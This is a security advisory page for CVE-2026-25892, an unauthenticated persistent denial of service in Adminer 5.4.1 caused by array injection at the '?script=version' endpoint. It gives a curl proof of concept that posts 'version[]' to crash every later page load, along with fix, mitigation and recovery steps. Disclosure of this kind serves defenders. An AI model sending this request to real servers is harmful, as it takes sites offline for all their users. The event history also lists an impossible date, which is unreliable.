CVE-2026-25892: Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint

Published Feb 9, 2026
·
Updated

Summary Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, opensslverify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of uploadtmpdir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript: - functions.js line 102-117: Creates iframe to https://www.adminer.org/version/ - Adminer.org sends signed version data via postMessage - JavaScript POSTs this to ?script=version - Server stores in /tmp/adminer.version for signature verification

javascript // functions.js line 117 ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $GET["script"] == "version" - it does not validate: - Request origin (no CSRF token check for this endpoint) - Request source (any HTTP client can POST) - Parameter types (version expected as string, array not rejected)

php // bootstrap.inc.php line 32-40 if ($GET["script"] == "version") { $filename = gettempdir() . "/adminer.version"; @unlink($filename); $fp = fileopenlock($filename); if ($fp) { filewriteunlock($fp, serialize(array("signature" => $POST["signature"], "version" => $POST["version"]))); } exit; }

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to opensslverify():

php // design.inc.php line 75 if (opensslverify($version["version"], base64decode($version["signature"]), $public) == 1) {

PHP 8.x throws: TypeError: opensslverify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible. bash curl -s -o /dev/null -w "%{httpcode}\n" http://localhost:8888/adminer-5.4.1.php Expected output: 200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string. bash curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \ -d "signature=x&version[]=INJECTED" Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash. bash curl -s -o /dev/null -w "%{httpcode}\n" http://localhost:8888/adminer-5.4.1.php Expected output: 500

Step 4: (Optional) View the PHP error in server logs. PHP Fatal error: Uncaught TypeError: opensslverify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file. bash cat /tmp/adminer.version Expected output: a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery: bash rm /tmp/adminer.version After deletion, Adminer returns HTTP 200.

---

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before opensslverify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Other sources

Adminer is open-source database management software. Adminer v5.4.1 and earlier has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, opensslverify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users. Upgrade to Adminer 5.4.2.

MITRE

Affected Software

3 affected componentsFixes available
Adminer Adminer<5.4.2
composer/vrana/adminer>=4.6.2<5.4.2
5.4.2
Adminer Adminer>=4.6.2<5.4.2

Event History

Feb 9, 2026
CVE Published
via MITRE·09:26 PM
Data Sourced
via MITRE·09:26 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
RemedyAffected Software
Feb 10, 2026
Advisory Published
via GitHub·12:25 AM
Data Sourced
via GitHub·12:25 AM
DescriptionSeverityWeaknessAffected Software
May 16, 58112
Event
via FIRST·12:26 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-25892?

CVE-2026-25892 is classified as having a high severity due to the potential for unauthenticated persistent denial of service.

2

How do I fix CVE-2026-25892?

To fix CVE-2026-25892, upgrade Adminer to version 5.4.2 or later.

3

What versions of Adminer are affected by CVE-2026-25892?

Adminer versions prior to 5.4.2 are vulnerable to CVE-2026-25892.

4

What type of vulnerability is CVE-2026-25892?

CVE-2026-25892 is an unauthenticated persistent denial of service vulnerability.

5

What is the exploit mechanism for CVE-2026-25892?

CVE-2026-25892 exploits a version check mechanism using array injection in the ?script=version endpoint.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203